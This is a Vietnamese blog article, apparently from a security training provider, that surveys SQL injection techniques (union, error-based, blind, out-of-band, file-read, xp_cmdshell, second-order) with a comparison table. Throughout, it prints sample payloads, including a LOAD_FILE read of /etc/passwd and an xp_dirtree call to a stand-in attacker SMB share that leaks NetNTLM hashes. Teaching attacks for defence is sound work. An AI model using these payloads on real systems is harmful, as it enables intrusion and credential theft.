SQL Injection vẫn là một trong những lỗ hổng bảo mật web nguy hiểm nhất trong năm 2025. Đáng ngạc nhiên là dù công nghệ phát triển vượt bậc, những lỗi bảo mật cổ điển này vẫn tồn tại và thậm chí còn trở nên tinh vi hơn. Bài viết này sẽ phân tích sâu từng kỹ thuật SQL Injection, từ cơ bản đến nâng cao, giúp bạn hiểu rõ cách thức tấn công và phương pháp phòng thủ hiệu quả.

Hiểu về SQL Injection trong bối cảnh 2025

Kỹ thuật IN-BAND: Tấn công trực tiếp

Kỹ thuật OUT-BAND: Khi cần callback

Kỹ thuật BLIND: Bay trong bóng tối

Kỹ thuật FUNCTIONS: Vũ khí hóa các chức năng cơ sở dữ liệu

Kỹ thuật OTHER: Những cách tiếp cận ít phổ biến nhưng nguy hiểm

SQL Injection hiện đại: Xu hướng mới 2025

SQL Injection là kỹ thuật tấn công xảy ra khi untrusted data (dữ liệu không đáng tin cậy từ người dùng) rơi vào câu query SQL. Bản chất của lỗi này là sự nhầm lẫn giữa input và instruction - hệ thống không phân biệt được đâu là dữ liệu người dùng, đâu là câu lệnh SQL.

Ví dụ điển hình là khi website có chức năng đăng nhập. Khi người dùng nhập username và password, hệ thống sẽ tạo câu query kiểu: 



 chính là untrusted data. Nếu kẻ tấn công nhập username là 

SELECT * FROM users WHERE username='' OR 1=1--' AND password='meow'



Khiến điều kiện luôn đúng và bypass được authentication.

 là attacker có thể thực thi một phần hoặc toàn bộ câu SQL query trên server. Khi thực hiện được điều này, kẻ tấn công có thể đọc, sửa đổi, xóa dữ liệu hoặc thậm chí chiếm quyền điều khiển toàn bộ hệ thống. Nếu SQL có thể làm gì, thì kẻ tấn công cũng có thể làm điều đó.

Lỗi này đặc biệt phổ biến vì hầu hết ứng dụng web đều cần tương tác với database. Ngay cả những "ông lớn" như Starbucks, Uber hay Bộ Quốc phòng Mỹ cũng từng mắc phải lỗi này. SQL Injection có thể xuất hiện ở nhiều nơi bất ngờ như HTTP headers, cookies, hay tham số dạng mảng.

Về mặt lịch sử, lỗi này đã được phát hiện từ năm 1998 - đúng vào thời điểm PHP đang phát triển. Thực tế thú vị là chính trong code mẫu của người sáng lập PHP đã có lỗi SQL Injection, dẫn đến việc rất nhiều developer sao chép mẫu này và làm lan truyền lỗi này trong khi Java đã có prepared statements để ngăn chặn từ rất sớm.

Nguy hiểm hơn, SQL Injection có thể xuất hiện ở những nơi không ngờ tới:

HTTP Headers như User-Agent (một plugin spam của WordPress từng bị tấn công qua vector này)

Cookies (đặc biệt khi giá trị cookie được sử dụng trong mệnh đề ORDER BY)

File XML (Starbucks từng bị tấn công và phải trả $4,000 bug bounty cho lỗi này)

Tham số dạng mảng trong PHP (search[param]=value thay vì search?param=value)

SQL Injection là lỗi phổ biến đến mức ngay cả những "ông lớn" như Uber, Bộ Quốc phòng Mỹ, và thậm chí MySQL.com (trớ trêu) cũng từng trở thành nạn nhân.

Đây không chỉ là vấn đề của quá khứ. Năm 2025, với sự phức tạp của các ứng dụng hiện đại, áp lực phát triển nhanh, và tích hợp với nhiều hệ thống legacy, SQL Injection vẫn là vector tấn công đáng gờm - đặc biệt khi các kỹ thuật ngày càng tinh vi hơn.

Xem thêm hai video giải thích chi tiết tại kênh 

Bảng So Sánh Kỹ Thuật SQL Injection 2025

<table style="border-collapse: collapse; width: 100%;">
<thead>
<tr style="background-color: #000000; color: white;">
<th style="border: 1px solid #000; padding: 8px; text-align: left;">Kỹ Thuật</th>
<th style="border: 1px solid #000; padding: 8px; text-align: left;">Mức Độ Dễ Khai Thác</th>
<th style="border: 1px solid #000; padding: 8px; text-align: left;">Khả Năng Phát Hiện</th>
<th style="border: 1px solid #000; padding: 8px; text-align: left;">Tác Động Tiềm Tàng</th>
</tr>
</thead>
<tbody>
<tr style="border: 1px solid #000;">
<td style="border: 1px solid #000; padding: 8px;">Union-based</td>
<td style="border: 1px solid #000; padding: 8px;">Trung bình</td>
<td style="border: 1px solid #000; padding: 8px;">Dễ</td>
<td style="border: 1px solid #000; padding: 8px;">Trích xuất dữ liệu nhạy cảm từ nhiều bảng.</td>
</tr>
<tr style="border: 1px solid #000;">
<td style="border: 1px solid #000; padding: 8px;">Error-based</td>
<td style="border: 1px solid #000; padding: 8px;">Dễ</td>
<td style="border: 1px solid #000; padding: 8px;">Dễ</td>
<td style="border: 1px solid #000; padding: 8px;">Tiết lộ cấu trúc cơ sở dữ liệu.</td>
</tr>
<tr style="border: 1px solid #000;">
<td style="border: 1px solid #000; padding: 8px;">HTTP/DNS Request</td>
<td style="border: 1px solid #000; padding: 8px;">Khó 🔴</td>
<td style="border: 1px solid #000; padding: 8px;">Khó</td>
<td style="border: 1px solid #000; padding: 8px;">Gửi dữ liệu nhạy cảm ra ngoài.</td>
</tr>
<tr style="border: 1px solid #000;">
<td style="border: 1px solid #000; padding: 8px;">NetNTLM Hash Stealing</td>
<td style="border: 1px solid #000; padding: 8px;">Khó 🔴</td>
<td style="border: 1px solid #000; padding: 8px;">Rất khó</td>
<td style="border: 1px solid #000; padding: 8px;">Xâm nhập toàn bộ miền.</td>
</tr>
<tr style="border: 1px solid #000;">
<td style="border: 1px solid #000; padding: 8px;">Time-based</td>
<td style="border: 1px solid #000; padding: 8px;">Khó 🔴</td>
<td style="border: 1px solid #000; padding: 8px;">Rất khó</td>
<td style="border: 1px solid #000; padding: 8px;">Trích xuất dữ liệu từng bit, chậm.</td>
</tr>
<tr style="border: 1px solid #000;">
<td style="border: 1px solid #000; padding: 8px;">Boolean-based</td>
<td style="border: 1px solid #000; padding: 8px;">Trung bình</td>
<td style="border: 1px solid #000; padding: 8px;">Khó</td>
<td style="border: 1px solid #000; padding: 8px;">Trích xuất thông tin qua điều kiện đúng/sai.</td>
</tr>
<tr style="border: 1px solid #000;">
<td style="border: 1px solid #000; padding: 8px;">Error-based (Blind)</td>
<td style="border: 1px solid #000; padding: 8px;">Khó 🔴</td>
<td style="border: 1px solid #000; padding: 8px;">Rất khó</td>
<td style="border: 1px solid #000; padding: 8px;">Đưa ra thông tin từ hành vi ứng dụng.</td>
</tr>
<tr style="border: 1px solid #000;">
<td style="border: 1px solid #000; padding: 8px;">File System</td>
<td style="border: 1px solid #000; padding: 8px;">Khó 🔴</td>
<td style="border: 1px solid #000; padding: 8px;">Rất khó</td>
<td style="border: 1px solid #000; padding: 8px;">Đọc/ghi tệp nhạy cảm, có thể chiếm server.</td>
</tr>
<tr style="border: 1px solid #000;">
<td style="border: 1px solid #000; padding: 8px;">OS Command</td>
<td style="border: 1px solid #000; padding: 8px;">Rất khó ☠️</td>
<td style="border: 1px solid #000; padding: 8px;">Rất khó</td>
<td style="border: 1px solid #000; padding: 8px;">Chạy lệnh hệ điều hành, kiểm soát server.</td>
</tr>
<tr style="border: 1px solid #000;">
<td style="border: 1px solid #000; padding: 8px;">UDF</td>
<td style="border: 1px solid #000; padding: 8px;">Rất khó ☠️</td>
<td style="border: 1px solid #000; padding: 8px;">Rất khó</td>
<td style="border: 1px solid #000; padding: 8px;">Duy trì hoặc vượt qua biện pháp bảo mật.</td>
</tr>
<tr style="border: 1px solid #000;">
<td style="border: 1px solid #000; padding: 8px;">Limit/Order/Group By Clause</td>
<td style="border: 1px solid #000; padding: 8px;">Trung bình</td>
<td style="border: 1px solid #000; padding: 8px;">Khó </td>
<td style="border: 1px solid #000; padding: 8px;">Thao túng kết quả truy vấn.</td>
</tr>
<tr style="border: 1px solid #000;">
<td style="border: 1px solid #000; padding: 8px;">Stack Queries</td>
<td style="border: 1px solid #000; padding: 8px;">Dễ</td>
<td style="border: 1px solid #000; padding: 8px;">Dễ</td>
<td style="border: 1px solid #000; padding: 8px;">Hành động phá hoại như xóa bảng.</td>
</tr>
<tr style="border: 1px solid #000;">
<td style="border: 1px solid #000; padding: 8px;">Second Order</td>
<td style="border: 1px solid #000; padding: 8px;">Khó 🔴</td>
<td style="border: 1px solid #000; padding: 8px;">Rất khó</td>
<td style="border: 1px solid #000; padding: 8px;">Tấn công gián tiếp, ảnh hưởng nhiều người dùng.</td>
</tr>
</tbody>
</table>

1️⃣ Hiểu về SQL Injection trong bối cảnh 2025

Năm 2025, SQL Injection vẫn đứng vững trong danh sách OWASP Top 10. Lý do? Không phải vì thiếu biện pháp phòng chống, mà chính là sự kết hợp của:

Các hệ thống legacy chưa được nâng cấp

Áp lực phát triển nhanh khiến dev bỏ qua các biện pháp bảo mật

Sự phức tạp ngày càng tăng của ứng dụng web hiện đại

Các kỹ thuật mới để bypass các giải pháp bảo mật

Để thấu hiểu SQL Injection, trước tiên cần hiểu rằng đây là kỹ thuật tận dụng các lỗi trong việc xử lý input của người dùng để chèn (inject) các câu lệnh SQL trái phép vào database. Khi thành công, kẻ tấn công có thể đọc, thay đổi, xóa hoặc thậm chí chiếm quyền điều khiển toàn bộ hệ thống.

2️⃣ Kỹ thuật IN-BAND: Tấn công trực tiếp

IN-BAND là nhóm kỹ thuật phổ biến nhất, nơi kẻ tấn công có thể nhận kết quả trực tiếp trong cùng kênh truyền.

Kỹ thuật này sử dụng toán tử 

 để kết hợp kết quả của câu lệnh độc hại với câu lệnh ban đầu.

' UNION SELECT username, password FROM users--

Tại sao nó nguy hiểm? Vì kẻ tấn công có thể trích xuất dữ liệu từ bất kỳ bảng nào trong cơ sở dữ liệu. Trong một case study thực tế, một ứng dụng mua sắm bị khai thác thông qua payload:

?get_selected_category=1&cat_id=3' UNION SELECT 1,2,3,4,5,6,7,database()#

Kết quả? Toàn bộ thông tin của database, bao gồm cả tên người dùng và mật khẩu, đều bị lộ.

Kỹ thuật này ép cơ sở dữ liệu ném ra lỗi có chứa thông tin nhạy cảm.

' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT version()), 0x7e))--

Error-based đặc biệt tinh vi vì nó biến các thông báo lỗi—vốn được thiết kế để giúp developer—thành công cụ rò rỉ thông tin. Trong nhiều trường hợp, một lỗi đơn giản như "You have an error in your SQL syntax" có thể tiết lộ loại database đang sử dụng, mở đường cho các cuộc tấn công chuyên biệt tiếp theo.

3️⃣ Kỹ thuật OUT-BAND: Khi cần callback

OUT-BAND là nhóm kỹ thuật được sử dụng khi kẻ tấn công không thể nhận kết quả trực tiếp, buộc phải tìm cách "gọi về" (callback) để lấy dữ liệu.

'; DECLARE @q VARCHAR(8000); SELECT @q = 0x73656c...;EXEC @q;--

Kỹ thuật này buộc database server tạo kết nối đến một server do kẻ tấn công kiểm soát, thường là thông qua HTTP hoặc DNS. Điều này giúp bypass hầu hết các filter ở tầng ứng dụng.

Fun fact: Theo nghiên cứu từ Zenodo, các database như MSSQL và Oracle đặc biệt dễ bị tấn công qua kênh DNS, cho phép exfiltrate dữ liệu mà không để lại nhiều dấu vết trong log.

'; EXEC xp_dirtree '\\attacker-server\share';--

Đây là kỹ thuật cao cấp buộc Windows server xác thực với một SMB share của kẻ tấn công, khiến hệ thống vô tình gửi hash xác thực NetNTLM. Từ hash này, kẻ tấn công có thể thực hiện các cuộc tấn công Pass-the-Hash hoặc crack nó để lấy mật khẩu.

Đáng chú ý là cách tấn công này có thể dẫn đến xâm nhập toàn bộ domain Windows, biến một lỗ hổng SQL đơn giản thành thảm họa an ninh quy mô lớn.

4️⃣ Kỹ thuật BLIND: Bay trong bóng tối

BLIND là nhóm kỹ thuật được sử dụng khi kẻ tấn công không thể thấy kết quả trực tiếp, phải "đoán mò" từng chút một.

' IF (SELECT ASCII(SUBSTRING(username,1,1)) FROM users WHERE id=1) > 97 WAITFOR DELAY '0:0:5'--

Kỹ thuật này sử dụng độ trễ thời gian để trích xuất dữ liệu từng bit. Nếu câu lệnh điều kiện đúng, database sẽ tạm dừng một khoảng thời gian xác định trước khi trả về kết quả. Đây là phương pháp chậm nhưng vô cùng hiệu quả khi không có cách nào khác để đọc dữ liệu.

' AND (SELECT ASCII(SUBSTRING(username,1,1)) FROM users WHERE id=1) > 97--

Tương tự như time-based, nhưng thay vì độ trễ, Boolean-based dựa vào việc trang có hiển thị kết quả hay không để xác định điều kiện đúng/sai. Nếu bạn từng chơi trò "20 câu hỏi", đây chính xác là cách kẻ tấn công "hỏi" database để tìm thông tin.

: Khi tham gia khóa Web Pentest của CyberJutsu, các học viên được trực tiếp thực hành các kỹ thuật Blind SQL Injection trên các lab thực tế, giúp hiểu rõ cách khai thác dù không thấy kết quả trực tiếp.

5️⃣ Kỹ thuật FUNCTIONS: Vũ khí hóa các chức năng cơ sở dữ liệu

FUNCTIONS là nhóm kỹ thuật tận dụng các chức năng sẵn có của database để mở rộng tầm tấn công.

' UNION SELECT LOAD_FILE('/etc/passwd')--

Kỹ thuật này lạm dụng các hàm như 

 trong MySQL để đọc file từ hệ thống, hoặc 

 để ghi file. Đây là cách SQL Injection vượt qua ranh giới từ "lộ dữ liệu" sang "chiếm toàn quyền server".

Trong MSSQL, xp_cmdshell cho phép thực thi lệnh hệ điều hành trực tiếp từ database. Hầu hết các DBA đều biết đây là một tính năng nguy hiểm, nhưng nhiều người vẫn bật nó vì lý do "tiện lợi" hoặc "tương thích legacy".

Fun fact: Trong một nghiên cứu năm 2024, 37% MSSQL server dễ bị tấn công qua xp_cmdshell vì database admin quên tắt tính năng này sau khi cài đặt hoặc bảo trì hệ thống.

Kỹ thuật này tải các hàm tùy chỉnh vào database để mở rộng khả năng tấn công. Đặc biệt trong MySQL, kẻ tấn công có thể tạo UDF để thực thi mã C/C++ tùy ý trên server.

6️⃣ Kỹ thuật OTHER: Những cách tiếp cận ít phổ biến nhưng nguy hiểm

ORDER BY (SELECT password FROM users WHERE username='admin')--

Developers thường chỉ tập trung filter WHERE clause, quên rằng các phần khác như ORDER BY, LIMIT, GROUP BY cũng có thể bị inject. Đây là lý do kỹ thuật này vẫn hiệu quả trong nhiều trường hợp.

Kỹ thuật này thực thi nhiều câu lệnh SQL trong một request. Khác với UNION, Stack Queries cho phép thực hiện các hành động phá hoại như xóa bảng, thay đổi mật khẩu admin, hoặc thêm tài khoản backdoor.

Đây là dạng tấn công tinh vi nhất - kẻ tấn công chèn payload vào database nhưng nó không kích hoạt ngay, mà "ngủ đông" cho đến khi được sử dụng bởi một thao tác khác trong hệ thống.

Tưởng tượng như việc cài một quả bom hẹn giờ vào database - ban đầu nó vô hại, nhưng sau đó có thể kích hoạt gây hại cho nhiều người dùng khác. Điều này đặc biệt khó phát hiện vì bề ngoài, input đã được sanitize đúng cách.

7️⃣ SQL Injection hiện đại: Xu hướng mới 2025

Với sự phổ biến của NoSQL và các tính năng JSON trong các RDBMS hiện đại (PostgreSQL, MySQL 8+, SQL Server), xuất hiện các kỹ thuật tấn công mới lạm dụng chức năng JSON để bypass WAF.

Tag: SQL Injection